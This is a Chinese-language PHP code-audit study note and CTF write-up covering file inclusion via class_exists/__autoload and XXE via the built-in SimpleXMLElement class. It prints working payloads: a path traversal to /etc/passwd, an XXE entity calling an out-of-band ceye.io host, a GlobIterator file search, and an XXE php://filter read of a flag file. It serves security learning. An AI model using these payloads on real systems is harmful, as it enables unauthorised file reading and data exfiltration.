PHP代码审计学习-PHP-Audit-Labs-day3
前言
本节主要介绍了文件包含和XXE漏洞,主要引起函数是class_exists和SimpleXMLElement。
class_exists()函数
class_exists:(PHP 4,PHP 5,PHP 7)
功能:检查类是否已定义
定义:bool class_exists ( string $class_name[, bool $autoload = true ] )
它是有两个参数的,我们平时用这个方法的时候大都只给了第一个参数,第二个参数的默认值是默认为true,而关于第二个参数的解释是:
autoload
Whether or not to call __autoload by default.
所以当我们不设置第二个参数时,会去调用__autoload方法去加载类
雪花这个题目就会存在安全问题
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
这段代码有两个漏洞。一个就是class_exists引起的文件包含,不过需要5.3以前的环境才能利用。
payload:../../../../etc/passwd
在代码第9行中类名称用于新的对象实例化。其构造函数的第一个参数也位于攻击者的控制之下。可以调用PHP代码库的任意构造函数。
代码中是没有什么函数可以利用的,但是php中有内置函数SimpleXMLElement可以造成XXE漏洞
SimpleXMLElement函数
SimpleXMLElement是php SimpleXML的一部分
用于表示XML文档中的元素(php5,php7)
SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = false [, string $ns = "" [, bool $is_prefix = false ]]]] )
data_is_url参数可以传递解析外部的XML文件
payload:
<?xml%20version="1.0"%20encoding="UTF-8"?><!DOCTYPE%20root%20[<!ENTITY%20%%20remote%20SYSTEM%20"http://ip.port.iv8vqt.ceye.io/xxe_test">%remote;]><root/>
这里有个坑点,get传递xml字符串时,会解析失败。暂时还未找到方法解决,以后在补。。
可以参考以下代码理解
<?php
$ttt = <<<eof
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.iv8vqt.ceye.io/xxe_test">
%remote;]>
<root/>
eof;
$xmlclass = new SimpleXMLElement($ttt, LIBXML_NOENT);
var_dump($xmlclass);
?>
CTF练习
// index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
可以看到class_exists,当类不存在就会调用程序中的 __autoload 函数,但是这里没有 __autoload 函数,而是用 spl_autoload_register 注册了一个类似 __autoload 作用的函数,即这里输出404信息
这个题目共需要两个内置类来解,一个是GlobIterato,用于搜索文件。一个是SimpleXMLElement用于XXE读取文件
GlobIterato
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
第一个参数为要搜索的文件名,第二个参数为选择文件的哪个信息作为键名,这里我选择用 FilesystemIterator::CURRENT_AS_FILEINFO ,其对应的常量值为0
搜索文件payload
name=GlobIterator¶m=./*.php¶m2=0
使用内置类 SimpleXMLElement 读取 f1agi3hEre.php 文件的内容,,这里我们要结合使用PHP流的使用,因为当文件中存在: < > & ' " 这5个符号时,会导致XML文件解析错误,所以我们这里利用PHP文件流,将要读取的文件内容经过 base64编码 后输出
payload,param2=2,实际上这里2对应的模式是 LIBXML_NOENT
index.php?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/CTF/f1agi3hEre.php">]><x>%26xxe;</x>¶m2=2
小结
PHP中参数控制
PHP中内置类的使用
class_exists函数安全隐患